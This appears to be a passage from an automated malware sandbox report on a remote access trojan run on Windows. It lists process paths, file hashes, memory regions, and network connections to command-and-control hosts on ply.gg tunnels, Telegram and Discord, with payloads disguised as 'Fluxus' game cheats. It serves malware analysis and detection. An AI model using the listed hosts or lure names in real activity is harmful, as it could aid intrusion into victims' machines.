C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 epsilonbot.xyz udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 discord.com udp
US 162.159.136.232:443 discord.com tcp
US 8.8.8.8:53 greater-questionnaire.gl.at.ply.gg udp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
N/A 127.0.0.1:34511 tcp
N/A 127.0.0.1:35608 tcp
US 8.8.8.8:53 points-detect.gl.at.ply.gg udp
US 147.185.221.18:35608 points-detect.gl.at.ply.gg tcp
N/A 127.0.0.1:34511 tcp
US 147.185.221.18:35608 points-detect.gl.at.ply.gg tcp
US 8.8.8.8:53 artist-shared.gl.at.ply.gg udp
US 147.185.221.18:34511 artist-shared.gl.at.ply.gg tcp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 147.185.221.18:35608 artist-shared.gl.at.ply.gg tcp
US 147.185.221.18:35608 artist-shared.gl.at.ply.gg tcp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 147.185.221.18:34511 artist-shared.gl.at.ply.gg tcp
US 147.185.221.18:35608 artist-shared.gl.at.ply.gg tcp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
N/A 127.0.0.1:34511 tcp
US 147.185.221.18:35608 artist-shared.gl.at.ply.gg tcp
US 147.185.221.18:34511 artist-shared.gl.at.ply.gg tcp
US 147.185.221.18:35608 artist-shared.gl.at.ply.gg tcp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
N/A 127.0.0.1:35608 tcp
US 147.185.221.18:35608 artist-shared.gl.at.ply.gg tcp
US 8.8.8.8:53 stories-boulevard.gl.at.ply.gg udp
US 147.185.221.18:35608 stories-boulevard.gl.at.ply.gg tcp
N/A 127.0.0.1:34511 tcp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 147.185.221.18:34511 stories-boulevard.gl.at.ply.gg tcp
US 147.185.221.18:35608 stories-boulevard.gl.at.ply.gg tcp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp

Files

memory/2248-1-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/2248-0-0x00000000002E0000-0x000000000116A000-memory.dmp

memory/2248-2-0x000000001BFF0000-0x000000001C070000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 b869e32cdac575ca23d73e7f9f046e6b
SHA1 2bc4ce47bb37e3ffb4faabc1015d2608a8fa96c1
SHA256 4dc95e267ff2a5054ca354035113f16be23c06e374343b6db43b5a084b71b8e3
SHA512 d6913b3460d947043313d65458768d2fb5bb24d38da236ca88a00f61f63829e164681a22c41c3780e25001827a7219eac73b47dc26eed5ad46705c0b079c7e80

memory/1584-11-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1584-10-0x00000000010B0000-0x00000000013CE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

MD5 184e180c4c0a044ffa9fc62fd444a6e7
SHA1 5a9e73a5fefc962c915a1e772735ea12bcf25922
SHA256 851d8ad07a4b555f894a87948cc7460281dc27a693a153804d9a19618019831a
SHA512 e3b9002fbf7aceea60a0ddf9f7ef615e97613d48137d6088abd936539cbc950ce5dcc31c0c9a118908867f2ca46d306f6e2943d9cfb4283202fc719ffd251b22

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

MD5 3bcf5b14fb977f145a4a97c9caf0ee0b
SHA1 295ca5b28aaa872a9620cbc0d7bb06f7c6cb8e59
SHA256 3fdad2bfe225b8dad17a5e7d46c32a221efc3e84b4ff12ea4945a10ceca1e9f5
SHA512 29bc770987c30025d7033b898d38b820fbbe4f4cd2ca8f4cdae760792f96fd0fd906ba316e9d00b1089349eb239cb69c157043ec0ccde9cf4e1387d789d50238

memory/2248-15-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1984-16-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1984-17-0x0000000000F90000-0x0000000001AF2000-memory.dmp

memory/1584-18-0x000000001B4B0000-0x000000001B530000-memory.dmp

\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

MD5 701df65121e1977fdf160bd9cfb9bb6a
SHA1 5fbbddbad5e0ca509b60134f78188f255bf6b74e
SHA256 3723e482205265aab379471320d8ed825c04a106fd15881e5f09e6e25fc4e5f1
SHA512 2b15ab4a089bcf1f62cb0172f1674756016f54e07547b5038ba10975aaf6dde920d2a18d254245b4a4f2715b32040086a00b1cacc1bcf4cc1dc5a512feaa9607

memory/2616-27-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/2728-26-0x000000013F160000-0x000000013F16E000-memory.dmp

memory/2728-29-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1584-32-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1984-31-0x000000001BD40000-0x000000001BDC0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

MD5 4a06f9420a0f8b934bce1e4d97dcee50
SHA1 25b30b4b0e02a6d2bc2b7313b2c9775990fc516b
SHA256 dc51cc5586f3d626e0ffbe304ff00765f7db9333d1320a9bd1b5efa383b5219c
SHA512 716a8c10bdc9bcf782f8eeabe84064f195adb4290cb3765b1d49a9a776fdc5cfd154b596cefa59f0dcb402eff150b6d24005f6fcfb6332f2b80ab71bd25ef432

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

MD5 f888a4be1126164c9f4080b089227cc3
SHA1 e166b311c6292f6b84d918c2bb0de0a0a368b595
SHA256 4596e62ff98f629062d843db5701ad6c87a8cf403eac976e3c7782147ba49213
SHA512 f03ce4cdc17c4cb19a3fa7641dd3d73130d679d2b02ef9d7355d949a34170de1070691f77ced0242d789e6d2ee9f0285734010fca78a3ddc8e0bb6e69bbe4dc4

memory/2604-38-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\sisk.exe

MD5 ab1bbb41c6c90c3b6d93a9be5e352995
SHA1 70cd2de832d76014d7f50ee1a16e89fba701b659
SHA256 1bf82ca4dd37e2b8f28b458da35a1e76059d65999a4bc480f4c245544c963c45
SHA512 77b8aa1baafc4301e563fd6298ebc7785803f6894e12deb52887424a8ad8bf6f907c0297da7ed4cfd58fc151d5507d6164fb2bd2644c6cd71e84a6ca765d57a2

memory/2556-44-0x0000000000B00000-0x0000000000B18000-memory.dmp

memory/2604-43-0x0000000000E20000-0x000000000198E000-memory.dmp

memory/2556-42-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1984-48-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1852-53-0x00000000010F0000-0x0000000001100000-memory.dmp

C:\ProgramData\XClient.exe

MD5 9ecb9d48c8da1e49862a32f5d32e3c9b
SHA1 20902b0b25916dab87b0a373e6fa28ce26feed49
SHA256 fb2089afae7b75b4bfe6780786cd723a7ef09a22ac3b8701b31c3989de41e7ff
SHA512 3dfd281d6989c8a4e9c19c35cb5581821854dfe5719e58e59b4ab7955e272e108e626fa9a7bd6c0fa0ab9d596176ff008c157fa8908959da321cb921dd70cae3

memory/1852-54-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

C:\ProgramData\Cheat.exe

MD5 a495f7df4cdb2c9febd69c56ff6563bc
SHA1 f95944cab464e1d89b671be7ec345d44e9bf8a03
SHA256 5779c0b0351a6ecc3a65d5f979858f930c9a63fa907cea2082a0de2af6393052
SHA512 74c38d45af559f5a30d22b2525b5c45becbf512afd828aed0604554e9c6c13b1b587dd88a035be02f9c6d319d4a0f894597de67024902049b00580f3e984f1e7

memory/2872-61-0x0000000000AB0000-0x0000000000AC6000-memory.dmp

\ProgramData\Built.exe

MD5 dc9ce18fb4175f979f7b1bdc61281418
SHA1 0be176215a9e2b21ecf1db966b3972a6ecbeb72e
SHA256 89d9623425500344a8a5960288e4ab8922d5bd7f2c4d4d4940d2ee22fb2ad6f4
SHA512 ab8774c89052f670d639d3e5ca347840f0ae931cc47c901894a55d4fd86555c3969084711576670ed134054ce99a134b0ff56d74d72c8c26bc4951e176a018c6

C:\ProgramData\Built.exe

MD5 d130c14721513f29c21cf49721a411db
SHA1 e743cb2611871bc94dcea58488851fbdb3a19292
SHA256 9645c6ff418d4f1b64273b686c21df05c5b402a24130bc5860386ee2eec49e2e
SHA512 4973ce890b34e976ab80d09d68f853cdd165d37e5896048989695b55008df0e37bad7fbb5be27f9b003a397caf8503c09d884ef9810137f893c449a51f553e5e

C:\ProgramData\Built.exe

MD5 3eea3f9efdf0d0dd94ccfab7815cf8c8
SHA1 56e86528dbea60b50a32210dcbf93d2557f0e154
SHA256 a1c5c24bc65997d11dfb40cba2a80bfd7e0f3d9fbca53d6664efb7d14e09aec3
SHA512 9bd10c10c64cdcb560e184bee7ffe15f2418f55386f507a241da6494a71f6b83f449c59cf999206f55da5c65bcf32ea01c493df4b43724378e9205a3b49487ba

memory/2872-64-0x00000000744F0000-0x0000000074BDE000-memory.dmp

\ProgramData\Built.exe

MD5 9ba99d41062a98a098f6dcbda2187c0b
SHA1 e7681b62ef9cf9151575db23d84f0215ff1c9a0e
SHA256 a9a480f636eccc33ba051c103c17c07b85ddd7f1683adf887d581b198bf5da9b
SHA512 245ed0898d68b25b96d50c595975a34087212befbf77414dedf014e79b195e53549ce5d670499ac33d39531977e0ba878ac97ebdc709ad70e81db68c30d2058e

C:\ProgramData\Fluxus V7.exe

MD5 b2e3e5597cdf963c9743d628c5d45350
SHA1 d26c7d8c4dc68c35e2865704f20ff18a83ecafa1
SHA256 4838bd5861e02e178e5253793c95e575132da5c63096296e0ee68adb4b20827d
SHA512 20d99dec99529f2f735fed826bda2b5f016c7ba5c34124f3f9171155bcc67fdefe94f29721535c99e42faba8108dfaa82a5409952ff28038fc9a2f5332f2719c

C:\ProgramData\Fluxus V7.exe

MD5 7630ec709e2dca141069fcf90b3848ac
SHA1 977930474ca086b549268770ea795ae99509d982
SHA256 96f507dcfb27eac0482c49a80147a584ec70d9a4706fc79258b3e2dd120e59ae
SHA512 2f280525a240929a90e5e3ea0a2bd7720c5fc3d949c67cbc2d080c48d2519f331e197015f4d6c300716df3d79a04a043571e323ffc9f74b8cdc28543d6854ae4

memory/1680-98-0x0000000000CB0000-0x00000000010A4000-memory.dmp

memory/1680-99-0x00000000744F0000-0x0000000074BDE000-memory.dmp

memory/2604-97-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI29002\python311.dll

MD5 76eb1ad615ba6600ce747bf1acde6679
SHA1 d3e1318077217372653be3947635b93df68156a4
SHA256 30be871735591ad96bc3fc7e541cdef474366159c2f7443feb30739cbd2db7e1
SHA512 2b960e74dd73f61d6a44fef0de9f2d50bcf2ec856b7aa5b97f0107e3cdadea461790760668a67db2ecaf71ff323133ee39ce2b38aafff3629c14e736d6a64aeb

C:\ProgramData\Built.exe

MD5 3780064a88caddc7951b88776942ec80
SHA1 04455a3fe9cab4e8a7a8ba757d00f59e873e7e7c
SHA256 7fd437a3bd103a16ce7f12b52ebe76a6ee404b56bcb6aac8aaba8fcf2e115f0d
SHA512 8c114d21e864b4d837741e6a6b66e88a873d3cd5923636ea61e459ebc90d9aa6a4a5c066ebcdd47c988432e4e622c800f79f01882a97a061ced243a3c073c4cf

memory/1000-101-0x000007FEEEF90000-0x000007FEEF57E000-memory.dmp

\Users\Admin\AppData\Local\Temp\_MEI29002\python311.dll

MD5 580eff4ec042745af11495f9e2143894
SHA1 530d6ef69e92ea86ce0b86f20257b5bd46696a79
SHA256 1c2417e7a516151b74ac5db19dcd4504a3404e7cc7952b51b8223f43787726c4
SHA512 01003ec1ffa040e57d25cee29e9c0c19369f3f70077f241858e6b08ea7886c091b64d2e206d6c5245185a2f55715df4d6b5af5f73c6a28a6a3c95ac512b67dc3

\ProgramData\Built.exe

MD5 9e4699fe3ab21b194c2656ac781d26c0
SHA1 cdc4188c5d38467489b50e505cf67fc9b5603387
SHA256 83bab4b6e8bb4b60c660165244a6681b59ecfa599eee8fbc98adf6703ef30a76
SHA512 2158c44e2363799d55cdb6a6959cd5a88d6b482d81cdb72bf60bce8ae9e6e4da39eccdc92c3799d6116273d6b4456b34253dd62cabc3aff30ad87b081166b3a6

memory/2616-105-0x0000000000A50000-0x0000000000AD0000-memory.dmp

memory/2616-106-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/2872-108-0x0000000004E40000-0x0000000004E80000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 39fd1b81f4c21f2c813650676ca6986f
SHA1 3bbb54c67fcf242310f3a07330a47a3b4c7a56be
SHA256 a21ba4e33d4a47dca122a64906091cd3fd2e6c32e7efadacd41c39a0bfffd703
SHA512 11300c582bb1e71a86a51229257162169cf56df7d15bcb407fa25a10eaa2bc06d3429a547f04608932f9f42bcffa0d0976996cb3cc4e1f0a1a8eedbdaf530caa

memory/2220-111-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/2728-112-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/3048-113-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/2616-114-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1680-115-0x0000000004E60000-0x0000000004EA0000-memory.dmp

memory/2728-116-0x000000001AD80000-0x000000001AE00000-memory.dmp

memory/2556-117-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1680-118-0x0000000000740000-0x000000000074A000-memory.dmp

memory/1852-119-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/2556-120-0x000000001AD30000-0x000000001ADB0000-memory.dmp

memory/2872-121-0x00000000744F0000-0x0000000074BDE000-memory.dmp

memory/3048-125-0x000000001B600000-0x000000001B680000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 59c24c02465778650e872e4d89d793b6
SHA1 1961792228452fc6e7aaca2269683abfb5e34372
SHA256 21ffe8e5f3e72e76b301bb890343c3106952c84281e5f4e4944cf29dbef65a63
SHA512 e7d77361c563e4f914212ccb4d374f6f2f929794c9770aea0894178e4938cdd4429b8bbfbdb714715b59304c26217d2c1fb74b5dd17a19df76077c21528b376a

memory/3048-127-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1680-126-0x00000000744F0000-0x0000000074BDE000-memory.dmp

memory/1932-128-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1000-130-0x000007FEEEF90000-0x000007FEEF57E000-memory.dmp

memory/1388-129-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/2872-132-0x0000000004E40000-0x0000000004E80000-memory.dmp

memory/2220-133-0x000000001BD80000-0x000000001BE00000-memory.dmp

memory/2220-134-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

memory/1852-135-0x000000001B0A0000-0x000000001B120000-memory.dmp

memory/2344-141-0x00000000028F0000-0x00000000028F8000-memory.dmp

memory/2344-140-0x000000001B560000-0x000000001B842000-memory.dmp

\ProgramData\Fluxus V7.exe

MD5 7dde1c5f5e6247c9445ec3ffad373eee
SHA1 3b5008a7948aa038e923393d83945680f988081c
SHA256 d0959985374eb4d9d3fa0db4d6b7cd9f5abae48d51338d3e8d73082186dc7075
SHA512 026db3fbb32d476097ac60c0d25498ab7b12f48d6c7c1ad14c92afafbef8d904b2d625f48565989dffee613ad8a4300f487934e18b6075c23afa146c590bc08c

\ProgramData\Fluxus V7.exe

MD5 062906485159793e7171dd97df35d2df
SHA1 07b5ebbeeb5411c4179133d76f03d313c56b0877
SHA256 ad225b44a3b20df4357aa4b0dc8fb7978f4a84bd8b3633c8e975430f325c851a
SHA512 39cada7cc4e929696bfc96fc662dd344b7508ab42beed0e76c216b3f64f7b25b27ee7cb2708c9b8d70325141b52b0c8912bad59ee7e38e1a54031f4f8509f95c

\ProgramData\Fluxus V7.exe

MD5 5678bca0d79eb6831813c840483d0f1c
SHA1 fe17c40e84b31c1e841f6d852be5dd40ebb3854e
SHA256 1c1e40fb6b43a0ad48aaf2cc87e89b48c08c81e00068dc4b05b23e57c47f5a57
SHA512 0b6fa963782b95f614831f49b891f0293eb1b73761b0f43d850cf0f4b2d57c2ce931b9e33750e10a38bb233dc205fceba00131c022e39982dd1f30bad452ef53

\ProgramData\Fluxus V7.exe

MD5 999a636ad06aa432b7bc80332e6dd417
SHA1 366a2eea49652f5ca9c06e38a1f518b90a8d4a0e
SHA256 51881a0364d13147631dc884e91a0223e9689db4d32954160453f35f2a8bf12b
SHA512 6835fcaa48c64333b6400c79d7dde4f21f7cbf87b53ba03f97369d12883576f9d48b3722aaa67b18957bb29693d50aa64af0a745cef567eef96ec858ecc9188e

memory/2344-147-0x0000000002BA0000-0x0000000002C20000-memory.dmp

memory/2344-146-0x000007FEEDB60000-0x000007FEEE4FD000-memory.dmp

memory/2344-149-0x0000000002BA0000-0x0000000002C20000-memory.dmp

memory/2344-148-0x000007FEEDB60000-0x000007FEEE4FD000-memory.dmp

memory/2344-152-0x0000000002BA4000-0x0000000002BA7000-memory.dmp

memory/1680-151-0x0000000004E60000-0x0000000004EA0000-memory.dmp

memory/1388-154-0x000000001B0F0000-0x000000001B170000-memory.dmp

memory/2232-159-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 914f00ecfd8185fe1ce303525b7799dc
SHA1 d58691a7fc3cfeb29e7a40ac0c7daa5000d40de0
SHA256 80e498b4e5fc6fcc77caf7c6820cf10377d40f63e6371545fb9a1b7dd5b33625
SHA512 3f556df605c854774966a9d8f631560a8e6a101a82f6f12f2cf327e292b28ec64060478d7a658984a393c5bf5ce8fab012855b66c2577eb5f8beac0897e261ca

memory/2728-155-0x000000001AD80000-0x000000001AE00000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DKARFWMQMVWCCS23FWR3.temp

MD5 45a297b34a68640793e7799d1337c44a
SHA1 90c8ba74ebc25648c518bf18d1c95cde39825a40
SHA256 4014c5ef7197b896079fbcc4662e807ec217d1d1b4e599d25cf0822203071b10
SHA512 cd8e9f2b5fd3861be93dea761e7b41a10d62b89fdef27edcdc258f5744000579b9589e96a1ae4f7755ad35fb8d4ff46460567a2f322d19d44fa880a01864066e

memory/2344-153-0x000007FEEDB60000-0x000007FEEE4FD000-memory.dmp

memory/2344-150-0x0000000002BA0000-0x0000000002C20000-memory.dmp

\ProgramData\Fluxus V7.exe

MD5 ad86f08107d86c0b0a24db0535275fe2
SHA1 448f70a67e563823c86b4712ef3a01c4459dea27
SHA256 de1a58153d0f779b71d350381629d49712432519fc4c44b7c58cccc539c33998
SHA512 e91f883edbaec504e20ab115e3c124ed6827beee32024d88c896a8f65eeb98f01e1ec525d64af2ebd69ffaf01210feb1b6af377c82098795ee285a8021086cd0

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 2192bb7bf581d443de56564dd450aee1
SHA1 0de8a8faa3d6d69104d5a698a4764287074f73ab
SHA256 31883e8e92fead592291dd091a9e2d0030a70aa84ba8547d2d00b7634623f616
SHA512 a0661d920d1294ee031c3d03e093873a905c6e8b22382f8c23a1d651231bcc0d2b4847ef5fecef96f46fd33378fe74fa163ea56f0fabe903953c7c34a2c246c0

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 753df6889fd7410a2e9fe333da83a429
SHA1 3c425f16e8267186061dd48ac1c77c122962456e
SHA256 b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78
SHA512 9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

C:\Users\Admin\AppData\Local\Temp\Tar613A.tmp

MD5 dd73cead4b93366cf3465c8cd32e2796
SHA1 74546226dfe9ceb8184651e920d1dbfb432b314e
SHA256 a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22
SHA512 ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

C:\Users\Admin\AppData\Local\Temp\tmp8630.tmp.bat

MD5 7662005b19c5bfd105f6410fb2ec7795
SHA1 ac1123e86142f973eff683aedab17cadaf4b6e79
SHA256 d1284288f2e66a60e85a54b0d70b9b69541434db5b5ab198976b3954acba0ca1
SHA512 f95147388757885bc9072342a1f90a8db9f5fffedb4aac5f06562305bd577579961a633edf7f38593f112efe1d9e119a67e8391c75163a04cd792ac0605e2fb3